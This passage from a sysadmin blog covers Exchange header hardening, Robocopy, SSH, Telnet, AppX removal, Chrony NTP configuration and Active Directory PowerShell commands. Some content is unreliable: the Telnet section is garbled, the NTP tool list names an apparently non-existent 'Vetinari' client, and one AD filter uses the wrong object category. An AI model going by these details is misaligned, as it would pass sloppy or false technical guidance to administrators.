AUTHORITY\ANONYMOUS LOGON. Get-SendConnector "Dis-email" | Remove-ADPermission -AccessRight ExtendedRight -ExtendedRights ms-Exch-Send-Headers-Routing -User "NT AUTHORITY\ANONYMOUS LOGON" Verify that NT AUTHORITY\ANONYMOUS LOGON is not shown in the output. Get-SendConnector "Dis-email" | Get-ADPermission | Where-Object { $_.ExtendedRights -like "*routing*"} | Format-table User,AccessRights,ExtendedRights To check this process, send an e-mail to a real recipient. After that, analyze the received headers in the message. Make sure that Exchange Server internal names and IP addresses are not shown in the email header information. Your Mail recipients will still see your server name if you haven't set a "FQDN" in the Send connector. I definitely recommend that you define a "FQDN" information in Send Connector. You can do this with Exchange Admin Center or Exchange PowerShell. Check the Send Connector FQDN with Exchange Management Shell. In the command output below, we can see that the FQDN is empty. Get-SendConnector -id "Dis-email" | Format-Table Name,Fqdn #Name FQDN #-------- ----- #Dis-email Run the following command to define the "FQDN" for the Send Connector. Get-SendConnector -id "Dis-email" | Set-SendConnector -Fqdn:mail.farukguler.net #Name FQDN #-------- ----- #Dis-email mail.farukguler.net If you need to undo these changes; Use the Add-AdPermission command instead of Remove-ADPermission. Get-SendConnector "Dis-email" | Add-ADPermission -User "NT AUTHORITY\ANONYMOUS LOGON" -ExtendedRights ms-Exch-Send-Headers-Routing Umarım faydalı olmuştur. – I hope it was helpful. --- ## Microsoft Robocopy Nedir? Link: https://farukguler.com/posts/microsoft-robocopy-nedir/ Robocopy; Microsoft tarafından yayınlanan gelişmiş dosya transferi ve backup tooludur. Robocopy; It is an advanced file transfer and backup tool published by Microsoft. Neden Robocopy: -256 karakterden daha fazla dosya adı olan dosyaların taşıyabilir. -Taşınan dosyaların ilgili loglarını tutar. -Belli dosya türlerini hariç veya dahil tutarak kopyalama yapabilir. -En önemli özelliği Klasörlerimizi NTFS ve Dosya izinleriyle birlikte taşır. -Büyük klasörleri yedekleme yaparken değişmeyen içerikleri hariç tutulabilir. -Değişen içerikleri kopyalanmasını mümkün kılar. -İşlem sonu yapılanları logları export edebilir. -It can move files with filenames of more than 256 characters. -Keeps the relevant logs of the moved files. -Can copy by excluding or including certain file types. -The most important feature is that it moves our Folders with NTFS and File permissions. -Unchangeable contents can be excluded when backing up large folders. -Makes it possible to copy the changed contents. -Can export the logs of the end of the process. --- ## SSH Nedir? - What is SSH? Link: https://farukguler.com/posts/ssh-nedir-detayli-anlatim/ SSH (Secure Shell), bir ağ protokolüdür ve uzaktan erişim için güvenli bir bağlantı sağlar. SSH, bir sunucuya veya başka bir bilgisayara güvenli bir şekilde bağlanmak için kullanılabilir ve verilerin güvenli bir şekilde aktarılmasını sağlar. SSH, birkaç farklı bileşenden oluşur: SSH Protokolü: SSH protokolü, bir sunucu ile istemci arasındaki veri iletişimini sağlar. Bu protokol, şifreleme, kimlik doğrulama ve veri bütünlüğü gibi güvenlik özelliklerini içerir. SSH Sunucusu: SSH sunucusu, uzaktan erişim sağlamak isteyen bilgisayarda çalışan bir yazılımdır. Bu sunucu, gelen bağlantıları kabul eder ve kimlik doğrulama gibi işlemleri gerçekleştirir. SSH İstemcisi: SSH istemcisi, bir bilgisayardan bir SSH sunucusuna erişmek için kullanılan bir yazılımdır. İstemci, SSH sunucusuna bağlanmak için gerekli kimlik bilgilerini sağlar ve sunucudan yanıt alır. SSH'nin en önemli özelliklerinden biri, verilerin şifrelenmesidir. SSH, verilerin şifrelenmesi için çeşitli şifreleme algoritmaları kullanır ve bu sayede verilerin güvenli bir şekilde aktarılmasını sağlar. Ayrıca, SSH, kimlik doğrulama işlemi için kullanıcı adı ve şifre gibi basit kimlik bilgileri yerine, güvenli anahtar tabanlı kimlik doğrulama yöntemlerini kullanır. Bu yöntemler, kullanıcıların bir anahtar çifti oluşturmasına ve anahtarın sunucuda depolanmasına izin verir. SSH ayrıca, farklı ağ bağlantıları üzerinden bağlantı kurma imkanı sağlar. Örneğin, bir kullanıcı internet üzerinden SSH ile bir sunucuya bağlanabilir veya ağ üzerindeki bir diğer bilgisayara SSH ile erişebilir. SSH, birçok Linux ve Unix tabanlı işletim sistemi tarafından desteklenir ve ayrıca Windows ve Mac OS gibi diğer işletim sistemleri için de SSH istemcileri mevcuttur. SSH nasıl çalışır? SSH (Secure Shell), bir sunucuya veya başka bir bilgisayara güvenli bir şekilde uzaktan erişim sağlar. SSH, bir istemci-sunucu modeli kullanır ve birkaç adımda çalışır: Bağlantı Kurulumu: SSH istemcisi, bir sunucuya bağlanmak için öncelikle bir bağlantı talebi gönderir. Bu talep, sunucunun IP adresi, kullanıcı adı ve kimlik doğrulama yöntemi gibi bilgileri içerir. Kimlik Doğrulama: Sunucu, kullanıcının kimliğini doğrulamak için kimlik bilgilerini kontrol eder. SSH, basit kullanıcı adı ve şifre kimlik doğrulama yöntemini kullanabileceği gibi, daha güçlü ve güvenli anahtar tabanlı kimlik doğrulama yöntemlerini de kullanabilir. Şifreleme ve Veri Aktarımı: Eğer kimlik doğrulama işlemi başarılı olursa, SSH istemcisi ve sunucusu, verilerin güvenli bir şekilde aktarımı için şifreleme kullanır. Bu şifreleme, verilerin çalınmasını veya kötü niyetli bir saldırganın verileri okumasını engeller. Oturum Yönetimi: SSH, bir kullanıcının bir sunucuya erişimini bir oturum olarak adlandırır. Oturum, bir kullanıcının bir sunucuya bağlı olduğu süredir ve oturum yönetimi, SSH sunucusu tarafından yönetilir. SSH sunucusu, oturumların yönetimi için birkaç farklı yöntem kullanabilir. Bağlantı Sonlandırma: SSH istemcisi, kullanıcının bir sunucu ile olan bağlantısını sonlandırmak istediğinde, bağlantıyı sonlandırmak için sunucuya bir istek gönderir. SSH, ayrıca port yönlendirme ve dosya aktarımı gibi diğer özellikleri de içerir. Port yönlendirme, bir sunucudan diğerine veri yönlendirmek için kullanılırken, dosya aktarımı ise dosyaların güvenli bir şekilde aktarılmasını sağlar. SSH Anahtarları: Kullanılabilecek kaç farklı SSH anahtarı türü vardır ? RSA anahtarları: RSA, popüler bir açık anahtarlı şifreleme algoritmasıdır ve SSH anahtarları oluşturmak için yaygın olarak kullanılır. RSA anahtarları, 768 ila 16.384 bit arasında değişen anahtar uzunluklarına sahip olabilir. DSA anahtarları: DSA, SSH için diğer bir açık anahtarlı şifreleme algoritmasıdır. DSA anahtarları, 512 ila 1.024 bit arasında değişen anahtar uzunluklarına sahip olabilir. ECDSA anahtarları: ECDSA, Elliptic Curve Digital Signature Algorithm kısaltmasıdır ve RSA ve DSA algoritmalarına kıyasla daha az yer kaplar. ECDSA anahtarları, 256 ila 521 bit arasında değişen anahtar uzunluklarına sahip olabilir. Her üç anahtar türü de güvenli ve güvenilirdir. Ancak, anahtar uzunluğu daha uzun olduğunda anahtarın güvenliği artar. SSH anahtarları genellikle anahtar uzunluğuna bağlı olarak 2048 bit veya daha uzun olacak şekilde oluşturulur. SSH Tüneli Nedir? SSH tüneli, bir ağ trafiğini güvenli bir şekilde yönlendirmek için kullanılan bir tekniktir. Bu teknik, SSH protokolü üzerinden şifrelenmiş bir bağlantı oluşturarak, iki farklı nokta arasında bir sanal tünel oluşturulmasını sağlar. Bu sanal tünel, iki nokta arasında bir bağlantı kurarak, tüm veri trafiğini şifreli bir şekilde yönlendirir. SSH tüneli, özellikle internete açık bir ağda gezinirken, kullanıcıların trafiği şifrelenmiş bir bağlantı üzerinden yönlendirmesine olanak tanır. Bu şekilde, verilerin izinsiz erişime karşı korunması ve veri hırsızlığına karşı önlem alınması sağlanır. Ayrıca, SSH tüneli, bir sunucunun yerel ağdaki kaynaklara güvenli bir şekilde erişmesine olanak tanır. Örneğin, bir sunucu, yerel ağdaki bir veritabanına erişmek istediğinde, SSH tüneli oluşturarak, veri trafiğini şifrelenmiş bir bağlantı üzerinden yönlendirebilir ve verilerin güvenliği sağlanabilir. SSH tüneli, farklı amaçlar için kullanılabilir ve özellikle güvenlik gerektiren durumlarda tercih edilir. Ancak, SSH tüneli oluşturmak için bilgi ve tecrübe gerektirdiği için, kullanıcılar dikkatli olmalı ve doğru yapılandırma ayarlarını yapmalıdır. SSH Depolama Biçimleri nelerdir? SSH protokolü, verilerin güvenli ve şifreli bir şekilde iletilmesi için kullanılırken, SSH depolama biçimleri de farklı amaçlar için kullanılır. İşte, SSH depolama biçimleri: SSH Anahtarları: SSH anahtarları, güvenli bir şekilde kimlik doğrulama yapmak için kullanılır. SSH anahtarları, her kullanıcı için benzersizdir ve genellikle bir çift oluşturulur: özel anahtar ve genel anahtar. Özel anahtar, kullanıcının bilgisayarında saklanırken, genel anahtar sunucuda saklanır ve kullanıcının kimliğini doğrulamak için kullanılır. SSH Dosyaları: SSH dosyaları, SSH istemcisi ve sunucusu arasındaki güvenli bir bağlantı kurmak için gereken ayarları içerir. Bu dosyalar, özel anahtar, kimlik doğrulama yöntemleri ve sunucu adresi gibi bilgileri içerir. SSH Tüneli: SSH tünelleri, güvenli bir şekilde bir ağ trafiğini yönlendirmek için kullanılır. Örneğin, bir SSH tüneli oluşturarak, bir kullanıcının internete açık bir ağda gezinirken, tüm trafiği güvenli bir şekilde şifrelenmiş bir bağlantı üzerinden iletilir. SCP Dosyaları: Secure Copy Protocol (SCP), SSH protokolünü kullanarak dosya transferi yapmak için kullanılır. Bu dosyalar, güvenli bir şekilde dosya aktarımı yapmak için kullanılır ve özellikle uzaktaki bir sunucuyla dosya paylaşımı yapmak için idealdir. Bu SSH depolama biçimleri, farklı amaçlar için kullanılabilir ve her birinin kendine özgü avantajları ve dezavantajları vardır. Akılda Tutulması Gerekenler Nelerdir? SSH kullanırken akılda tutulması gereken bazı önemli hususlar vardır. İşte, dikkat edilmesi gereken bazı noktalar: Güvenlik: SSH, güvenli bir protokoldür, ancak kullanıcının güvenlik önlemlerini de almaları gerekir. Şifrelerin güçlü olması, güncellemelerin düzenli yapılması ve güvenlik açıklarının önlenmesi için gerekli önlemler alınmalıdır. Yetkilendirme: SSH erişimi verirken, yalnızca gerekli erişim düzeyinde yetkilendirmeler yapılmalıdır. Ayrıca, root hesabına erişim, sadece gerektiği durumlarda sağlanmalıdır. Anahtar yönetimi: SSH anahtarları, özel anahtarlar olduğu için iyi bir şekilde yönetilmelidir. Anahtarların düzenli olarak değiştirilmesi, kimlik doğrulama için birden fazla anahtar kullanılması ve anahtarların güvenli bir şekilde saklanması önemlidir. Veri bütünlüğü: Veri bütünlüğü, verilerin güvenliği açısından önemlidir. Verilerin şifrelenmesi, doğru bir şekilde yönlendirilmesi ve doğru bir şekilde işlenmesi gerektiğini unutmamak gerekir. SSH tünelleri: SSH tünelleri kullanılırken, doğru ayarlar yapılmalı ve tünellerin güvenliği sağlanmalıdır. Ayrıca, tünellerin izlenip izlenmediği de takip edilmelidir. Bu hususlar, SSH kullanımında dikkat edilmesi gereken bazı önemli konulardır. SSH kullanırken, bu noktaların göz önünde bulundurulması, daha güvenli bir ortam oluşturulmasına yardımcı olabilir. Herşey tamam ama SSH neden kullanayım ki? SSH, birçok avantajı olan güvenli bir protokoldür ve çeşitli amaçlar için kullanılabilir. İşte, SSH kullanmanın bazı nedenleri: Güvenlik: SSH protokolü, verilerin şifrelenmesi ve güvenli bir şekilde iletilmesi için kullanılır. Bu sayede, veri hırsızlığına karşı korunarak, verilerin izinsiz erişime karşı korunması sağlanır. Uzak erişim: SSH, uzaktaki bir sunucuya erişim sağlamak için kullanılabilir. Bu sayede, bir kullanıcı, bir sunucudaki dosyalara veya uygulamalara erişebilir ve yönetebilir. Komut satırı arayüzü: SSH, bir komut satırı arayüzü sağlar. Bu sayede, bir kullanıcı, komut satırından işlemleri gerçekleştirebilir ve dosyaları yönetebilir. Dosya transferi: SCP (Secure Copy Protocol), SSH protokolü üzerinden güvenli bir şekilde dosya transferi yapmak için kullanılır. Bu sayede, bir kullanıcı, uzaktaki bir sunucudaki dosyaları güvenli bir şekilde indirebilir veya yükleyebilir. Güvenli ağ tünelleri: SSH tünelleri, güvenli bir şekilde bir ağ trafiğini yönlendirmek için kullanılabilir. Bu sayede, verilerin güvenliği sağlanarak, veri hırsızlığına karşı önlem alınması sağlanır. Bu nedenlerden dolayı, SSH, birçok uygulama için ideal bir güvenli protokol olarak kabul edilir. Neden SSH'yi seçmelisiniz? SSH'yi seçmek için birçok neden vardır. İşte, bazıları: Güvenlik: SSH, güvenli bir protokol olduğu için, verilerinizi şifreleyerek güvenli bir şekilde taşır. Bu sayede, veri hırsızlığına karşı korunmanızı sağlar. Uzak erişim: SSH, uzaktaki bir sunucuya erişim sağlamak için kullanılabilir. Bu sayede, bir kullanıcı, bir sunucudaki dosyalara veya uygulamalara erişebilir ve yönetebilir. Komut satırı arayüzü: SSH, bir komut satırı arayüzü sağlar. Bu sayede, bir kullanıcı, komut satırından işlemleri gerçekleştirebilir ve dosyaları yönetebilir. Dosya transferi: SCP (Secure Copy Protocol), SSH protokolü üzerinden güvenli bir şekilde dosya transferi yapmak için kullanılır. Bu sayede, bir kullanıcı, uzaktaki bir sunucudaki dosyaları güvenli bir şekilde indirebilir veya yükleyebilir. Güvenli ağ tünelleri: SSH tünelleri, güvenli bir şekilde bir ağ trafiğini yönlendirmek için kullanılabilir. Bu sayede, verilerin güvenliği sağlanarak, veri hırsızlığına karşı önlem alınması sağlanır. Çok yönlülük: SSH, birçok işletim sistemi ve cihazda kullanılabilir. Bu sayede, farklı platformlarda çalışan cihazlara erişebilir ve yönetebilirsiniz. Ücretsiz ve açık kaynaklı: SSH, ücretsiz ve açık kaynaklı bir yazılımdır. Bu sayede, kullanıcılar için ekonomik bir çözüm sunar. Bu nedenlerden dolayı, SSH, birçok uygulama için ideal bir güvenli protokol olarak kabul edilir ve birçok kullanıcı tarafından tercih edilir. SSH yalnızca sunucunuza bağlanmaktan çok daha fazlasıdır! SSH yalnızca sunucunuza bağlanmaktan çok daha fazla kullanım alanı vardır!  İşte bazı örnekler: bilgisayarlar arasında dosya paylaşımı ve gerçek zamanlı olarak başka bir makinedeki kabuğa erişim, VPN olarak kullanmak veya diğer makineler üzerinden trafiği tünellemek, ve güvenli iletişim için kullanmak.  SSH; her sistem yöneticisinin aşina olması gereken inanılmaz derecede çok yönlü ve güçlü bir araçtır! Umarım faydalı olmuştur. - I hope it was helpful. --- ## What is Telnet How to use? Link: https://farukguler.com/posts/what-is-telnet-how-to-use/ Hi dears, in this article, we will tell you what telnet service we use frequently in our business life andI will talk about its use. First of all, Telnet runs on the TCP/IP protocol. Telnet, a networkdevice or a remote computer remote access service. As I mentioned above TCP/IPIt is part of the protocol stack.Telnet client service is installed by default on Windows Server 2019 operating systemis not coming. First, components will need to be installed on the client and server. telnetTo install the service, select the roles and Features wizard from the server manager.Features Installation can be done easily by selecting Telnet client. Windows 2019 operating systemThere is no Telnet server component on it. Newer ones like Powershell Remoting insteadYou can use next-generation services. Operating the Telnet Server component on Windows Server 2016 and 2019 It should be noted that it does not come built-in on the systems. After the Telnet client installation mentioned above is done, the service named Telnet is disabled.case will come. You can activate it from services.msc if you wish, or you can use the command line.over;net start telnet can start the service,You can also stop the service in the form of net stop telnet. After the Telnet client installation mentioned above is done, the service named Telnet is disabled.case will come. You can activate it from services.msc if you wish, or you can use the command line: #can start the service net start telnet #to stop the service net stop telnet Telnet client application on Windows Server 2019; users to a serverto connect and manage server resources using command line tools.provides their use. Maximum 2 people at the same time by default to a Telnet servercan be connected. You can increase this number if you wish. What you need to do to increase Windows ServerBy logging into the command line on the telnet server: #You can upgrade with this command. It should also be said that; You can configure the settings you want on Telnet with the config command. For example, Telnet service communicates over port 23: tlntadmn config maxconn=10 # #To forward to port 500: tlntadmn config port =500 #To open the Telnet server management console on the server: tlntadmn Using Telnet We said that you need to type "tlntadmn" on the command line to run the telnet service. Generalusage is as follows tlntadmn [computer-name] [options] start | stop | pause | continue | -s | -k | -m | config You can use the following parameters to use the Telnet service:-s parameter: Lists the connections made to the Telnet server.-m parameter: It is used to send a message to a session on Telnet server.-k parameter: Terminates connections to Telnet server.-config parameter: It is used to set telnet server parameters and registry values.-u parameter: Used to create a user account.-p parameter: Used to set the user password --- ## Forced removal of default programs with the help of Powershell Link: https://farukguler.com/posts/forced-removal-of-default-programs-of-powershell/ Windows 10 ile gelen varsayılan programlar normalde kaldırılamayan uygulamalardır. işte bu uygulamaları eğer kullanmayacağınızdan kesinlikle eminseniz Powershell yardımı ile sisteminizden zorla kaldırabilirsiniz. PS: Get-AppxPackage * #Xbox: xboxapp #Groove Music: zunemusic #Maps: windowsmaps Get-AppxPackage *xboxapp* | Remove-AppxPackage --- ## Centos 8 NTP Server + Clients Best Configuration (All Network Clients) Link: https://farukguler.com/posts/centos8-ntp-server-and-clients-best-configuration/ Bu makalede Domain ortamınızda çalışan tüm cihazların Tarih & Saat senkronizasyonunu standart bir duruma getirebilmeniz için gerekli olan merkezi yönetebildiginiz bir Centos 8 NTP server kurulumunu yapacağız."2" adet "Windows Domain Controller ve Ubuntu 20.04" zaman senkronizasyonu sağlamak için kullanılan araçlardan "NTP Chrony" servisine yönlendireceğiz. Centos 8 üzerine özellikle Chrony servisi kurulacaktır. bu servis daha az Memory kullanır ve gerektiği zaman CPU kullanıp güç tasarrufu sağlar.Yerel ağınızda son derece hassas saat senkronizasyonu sağlayan donanımsal zaman damgasını destekler. *** "NTP servisi default UDP/123 olarak çalışır" Bazı popüler zaman senkronizasyonu araçları: NTP (Network Time Protocol): Chrony'nin en yaygın muadili, geleneksel NTP istemcisidir. Ubuntu'da genellikle "ntp" veya "ntpdate" paketleriyle temsil edilir. Chrony: Chrony, Network Time Protocol (NTP) için modern ve hassas bir zaman senkronizasyonu istemcisidir. Chrony, geleneksel NTP istemcilerine göre daha hassas zaman senkronizasyonu sağlama yeteneği ve düşük kaynak tüketimi ile öne çıkar. Ubuntu ve diğer birçok Linux dağıtımında yaygın olarak kullanılır. Aynı zamanda Raspberry Pi gibi küçük cihazlarda da tercih edilir. systemd-timesyncd: Ubuntu gibi bazı Linux dağıtımlarında varsayılan olarak gelen "systemd-timesyncd," zaman senkronizasyonunu sağlamak için kullanılan daha modern bir NTP istemcisidir. Chrony'ye göre daha hafif ve basittir. ntpd: "ntpd" veya "ntpd" paketi, geleneksel NTP protokolünü kullanan bir diğer NTP istemcisidir. "ntpd" genellikle CentOS veya RHEL gibi dağıtımlarda kullanılır. w32time: Windows işletim sistemi için zaman senkronizasyonunu sağlayan bir servistir. Windows sunucularında zamanın senkronize edilmesi gerektiğinde kullanılır. Vetinari: Vetinari, yüksek hassasiyetli ve güvenilir zaman senkronizasyonu sağlayan bir NTP istemcisidir. Özellikle bilimsel ve araştırma uygulamaları için kullanılır. OpenNTPD: OpenNTPD, OpenBSD projesi tarafından geliştirilen basit ve güvenilir bir NTP istemcisidir. OpenBSD ve bazı diğer BSD tabanlı işletim sistemlerinde kullanılır .vs ***Server Yapılandırması: Chrony saat senkronizasyon servisini Centos8 üzerine yükleyelim. dnf check-update dnf update dnf install chrony -y Yükleme sonrasında servisi start etmek ve durumunu görüntülemek için aşağıdaki komutları kullanalım systemctl start chronydsystemctl status chronyd#Chronyd servisi aktif etsystemctl enable chronyd Chrony kurulumunu sonunda NTP Server 'in kurum dışındaki hangi zaman sunucularından saat senkronizasyonunu yapacağını ve ortamımızdaki hangi networklere NTP hizmeti vereceğini ayarlayacağız. #ilk olarak Chrony servisi config dosyasını editleyelim nano /etc/chrony.conf #Ülkemizin NTP hizmeti veren bazı sunucularının güncel listesini aşağıdaki linkten görelim. #link https://www.pool.ntp.org/zone/tr server 0.tr.pool.ntp.org iburst server 1.tr.pool.ntp.org iburst server 2.tr.pool.ntp.org iburst server 3.tr.pool.ntp.org iburst Global time.google.com time.cloudflare.com time.windows.com time.facebook.com time.apple.com time.nist.gov Chrony servisi config dosyasını editlemeye devam ediyoruz. toplamda 2 satırı değiştirmemiz gerekiyor. #bu 1. alanda Ülkemizin NTP hizmeti veren sunucularını ekleyelim! # Use public servers from the pool.ntp.org project. # Please consider joining the pool (http://www.pool.ntp.org/join.html). server 0.tr.pool.ntp.org iburst server 1.tr.pool.ntp.org iburst server 2.tr.pool.ntp.org iburst server 3.tr.pool.ntp.org iburst #bu alanda NTP hizmeti alacak Network ve WLAN yapınızı eklemeniz gerekir!#Allow NTP client access from local network.allow 10.5.10.0/24allow 10.4.10.0/24allow 192.168.1.0/24allow 10.5.20.0/24 Chrony servisini RESTART edelim. systemctl restart chronyd #gerekli Firewal kurallarına izin verelim. sudo firewall-cmd --permanent --add-service=ntp #firewall servisini yeniden başlatalım. sudo firewall-cmd --reload #Chrony servis durumumu kontol edelim. systemctl status chronyd Chrony servisinin, birlikte ayarladığımız dış dünyadaki NTP sunucuları ile iletişim kurup kurmadığını ve aralarındaki saat senkronizasyon ayarlarının durumunu sources ve tracking komutları ile görebilirsiniz. #Size en yakın NTP kaynağını görmek için chronyc sources #tracking komut ile bu bağlantıların ayrıntılarını gözlemleyebilirsiniz. chronyc tracking #bağlı olduğu NTP serverlar ile arasındaki sapma oranı ve offset bilgisi için chronyc sourcestats #kullanılan NTP sunucuları için bildirilen zaman damgası modlarını görmek için chronyc ntpdata #Centos8 NTP sunucumuzun güncel tarih ve saatini görmek için date #NTP sunucumuza bağlanıp tarih saat çeken sunucu ve cihazları görmek için() chronyc clients ***Client Yapılandırması: Aşama 1: Bu aşamada bir Ubuntu 20.04 sunucumuzu hazırlamış olduğumuz NTP server'e yönlendirip Tarih & Saat ayarlarını çekmesini sağlayacağız. Ubuntu Sunucularda genellikle varsayılan olarak "systemd-timesyncd" yüklü gelir. Ancak, yapılandırma dosyasını düzenlemek gerekebilir. # "systemd-timesyncd" Servis Durumunu Kontrol Et: sudo systemctl status systemd-timesyncd #Varsayılan Ubuntu NTP Yapılandırma dosyasını aç: sudo nano /etc/systemd/timesyncd.conf #Dosyaya satırı ekleyin, Default:"ntp.ubuntu.com" "185.125.190.56" NTP=centos-ntp.guler.com #Bölgeleri Listele ve Seç timedatectl list-timezones sudo timedatectl set-timezone Turkey #Configure to Firewall sudo ufw allow from any to any port 123 proto udp #Check to Firewall Port netstat -nu | grep 123 nc -zuv 123 ntpdate -q #systemd-timesyncd servisini yeniden başlat: sudo systemctl restart systemd-timesyncd #Sistem başlangıcında otomatik olarak başlaması için: sudo systemctl enable systemd-timesyncd #NTP senkronizasyon durumunu kontrol et: timedatectl timesync-status & timedatectl status #NTP servisini Enable\Disable et #timedatectl set-ntp true #timedatectl set-ntp off</pre> "Server: 40.119.148.38 (centos-ntp.guler.com)": Bu, NTP sunucusunun IP adresini ve adını gösterir. Bu durumda, NTP sunucusu "centos-ntp.guler.com" olarak belirlenmiştir. "Local time: Sat 2023-09-09 00:40:45 +03": Bu, yerel zamanı ve saat dilimini gösterir. "Time zone: Turkey (+03, +0300)": Bu, sistem saat dilimini ve saat dilimi ofsetini gösterir. Türkiye saat diliminde (+03) bulunur. "NTP service: active": Bu, NTP hizmetinin etkin olduğunu gösterir. Sistem zamanı NTP sunucusu ile senkronize ediliyor. "RTC in local TZ: no": Bu, sisteminizdeki RTC (Real-Time Clock) yongasının yerel saat dilimine göre ayarlanmadığını gösterir. RTC, genellikle anakartta bulunan bir saat yongasıdır ve sistem güç kapalıyken bile zamanı tutar. Aşama 2: Bu aşamada ise bir Windows Server 2019 DC sunucumuzu hazırlamış olduğumuz NTP server'e yönlendirip Tarih & Saat ayarlarını çekmesini, dolayısıyla tüm domain ortamının NTP Senkronizasyonunu sağlayacağız. Öncelikle DNS üzerinde NTP sunucunuz için bir Host (A) kaydı oluşturalım. Amacımız ise eğer NTP sunumuzun ip adresi değişirse bunun uygulanan tüm client 'lerde düzenlemenin önüne geçmiş olmaktır. Ben centos-ntp.guler.com isimli bir kayıt oluşturup NTP sunucumun IP adresine yönlendirdim. >> centos-ntp.guler.com 10.5.10.50 Şimdi Powershell ile DC sunucumuzu CentOS8 centos-ntp.guler.com 10.5.10.50 NTP servere yönlendirme işlemini yapalım. PS: w32tm /config /manualpeerlist:centos-ntp.guler.com /syncfromflags:MANUAL /reliable:YES /update The command completed successfully. PS C:\Windows\system32> PS: #yeni girilen ayarların güncellenmesini sağlayalım. w32tm /config /update #Windows time servisini yeniden başlatalım. Restart-Service w32time #Veya servisi durdurup yeniden başlatabilirsiniz. Stop-Service w32time Start-Service w32time #zaman bilgisinin anlık olarak güncellemesi için aşağıdaki komutu kullanalım. w32tm /resync /nowait #Yeni tanımladığımız(centos-ntp.guler.com) NTP serveri kontrol edelim. w32tm /query /configuration #Sadece Tarih & Saat kaynağını görüntülemek için w32tm /query /source w32tm /query /status #Eğer birden çok NTP server adresi girdi iseniz. w32tm /query /peers Görsel: Son olarak ise Centos8 üzerinde NTP sunucunuza bağlı Windows Server 2019 DC ve Ubuntu 20.04 sunucunuzun IP adresini görüyor olduğumuzu teyit edelim. sudo chronyc clients#Hostname NTP Drop Int IntL Last Cmd Drop Int Last=============================================================================10.5.10.10 12 0 7 - 11 0 0 - -[root@localhost ~]# nslookup anatolia################################Name: anatolia.guler.comAddress: 10.5.10.10 Son olarak güncel saatimizi doğrulayalım. >>>> https://time.is Faydalı olması dileğiyle. – Hope it will be useful. --- ## AD-Powershell for Active Directory Administrators Link: https://farukguler.com/posts/ad-powershell-for-active-directory-administrators/ PowerShell Run as Administrator: Computer object commands List all computer accounts in a domain Get-ADComputer –Filter {Name –Like "*"} View all computers that are logged in for 90 days to the Active Directory Search-ADaccount -AccountInactive -Timespan 90 -ComputersOnly OR $lastLogon = (get-date).adddays(-90).ToFileTime() Get-ADComputer -filter {lastLogonTimestamp -gt $lastLogon} Find and delete all disabled Computer accounts in Active Directory Search-ADAccount -AccountDisabled -ComputersOnly | Sort-Object | Remove-ADComputer Find and delete disabled computer accounts from a specific OU Search-ADAccount -AccountDisabled -Searchbase "OU=IT,DC=Contoso,DC=Com" -ComputersOnly | Sort-Object | Remove-ADComputer Find and delete all computer accounts that no longer have signed up since 11/20/2011 to the Active Directory Search-ADAccount -AccountInactive -DateTime "20.11.2011" –ComputersOnly | Sort-Object | Remove-ADComputer List only disabled Computer accounts in Domain Search-ADAccount -AccountDisabled -ComputersOnly | Format-Table Name Move Computer to other OU (example: Computer=CLIENT1 to OU=IT) Get-ADComputer CLIENT1 | Move-ADObject -TargetPath "OU=IT,DC=Contoso,DC=Com" See Computer account detail (example: Computer=CLIENT1) Get-ADComputer -Filter {Name -Like "CLIENT1"} Get a specific computer showing all the properties (example: Computer=CLIENT1) Get-ADComputer "CLIENT1" -Properties * List Computers (Name, Operating System, Service Pack, Operating System version) Get-ADComputer -Filter * -Property * | Format-Table Name,OperatingSystem,OperatingSystemServicePack,OperatingSystemVersion -Wrap –Auto Export Computers List (Name, Operating System, Service Pack, Operating System version)to CSV File Get-ADComputer -Filter * -Property * | Select-Object Name,OperatingSystem,OperatingSystemServicePack,OperatingSystemVersion | Export-CSV AllWindows.csv -NoTypeInformation -Encoding UTF8 Get Computer IPv4 Address and DnsHostName Get-ADComputer -Filter {Name -Like "Computer-Name"} -Properties IPv4Address | Format-List Name,DnsHostName,IPv4Address Get all Computers in a specific OU (example: OU=IT, Domain=Contoso.com) Get-ADComputer -SearchBase "OU=IT,DC=Contoso,DC=Com" -filter * Get all the Computers without a specific DNS suffix Get-ADComputer -filter "DnsHostName -notlike '*.Contoso.Com'" Get Computer Service Principal Names (SPNs) Get-ADComputer "Computer-Name" –Properties ServicePrincipalNames | Select-Object –Expand ServicePrincipalNames Get Computers Security Identifiers (SIDs) Get-ADComputer -Filter {Name -like "*"} | Select Name,SID | Format-Table -Auto All computer accounts that were created in the last 90 days in the Active Directory Get-ADComputer -Filter * -Properties whenCreated | ? { ((Get-Date) - $_.whenCreated).Days -lt 90} | Format-Table Name,WhenCreated,Name,DistinguishedName -Autosize -Wrap All computer accounts that were created as of December 1, 2011 (12/01/2011) in the Active Directory Get-ADComputer -LDAPFilter "(&(objectCategory=person)(whenCreated>=20111201000000.0Z))" -Properties whenCreated | Format-Table Name,whenCreated,distinguishedName -Autosize -Wrap All computer accounts that were created here in a given time, between the 10/01/2011 and 12/01/2011 in Active Directory $Start = Get-Date -Day 01 -Month 10 -Year 2011 -Hour 00 $End = Get-Date -Day 01 -Month 12 -Year 2011 -Hour 23 -Minute 59 Get-ADComputer -Filter * -Properties whenCreated | ? { ($_.whenCreated -gt $Start) -and ($_.whenCreated -le $End) } | Format-Table Name,WhenCreated,DistinguishedName -Autosize -Wrap All computer accounts, Last Password Set in a given time, between the 10/01/2011 and 12/01/2011 in Active Directory $Start = Get-Date -Day 01 -Month 10 -Year 2011 -Hour 00 $End = Get-Date -Day 01 -Month 12 -Year 2011 -Hour 23 -Minute 59 Get-ADComputer -Filter * -Properties PasswordLastSet | ? { ($_.PasswordLastSet -gt $Start) -and ($_.PasswordLastSet -le $End) } | Format-Table Name,WhenCreated,DistinguishedName -Autosize -Wrap All computer accounts, Last Password Set in the last 90 days in Active Directory $Date = (Get-Date).AddDays(-90) Get-ADComputer -Filter * -Properties PasswordLastSet | where { $_.PasswordLastSet -le $Date } | Format-Table Name,PasswordLastSet,DistinguishedName -Autosize -Wrap Group object commands List all members of a group (example: Group=Experts) Get-ADGroupMember Experts | Format-Table Name All properties of a group (example: Group=IT) Get-ADGroup IT -Properties * List only Universal Security groups Get-ADGroup –LDAPFilter "(&(objectCategory=group)(groupType:1.2.840.113556.1.4.803:=-2147483640))" List only Global Security groups Get-ADGroup –LDAPFilter "(&(objectCategory=group)(groupType:1.2.840.113556.1.4.803:=-2147483646))" List only Domain Local Security groups Get-ADGroup –LDAPFilter "(&(objectCategory=group)(groupType:1.2.840.113556.1.4.803:=-2147483644))" List all Group memberships for a user (example: User=EdPrice) Get-ADAccountAuthorizationGroup EdPrice Move a Group to another OU (example: Group=Experts, Old-OU=IT, New-OU=Service, Domain=Contoso.com) 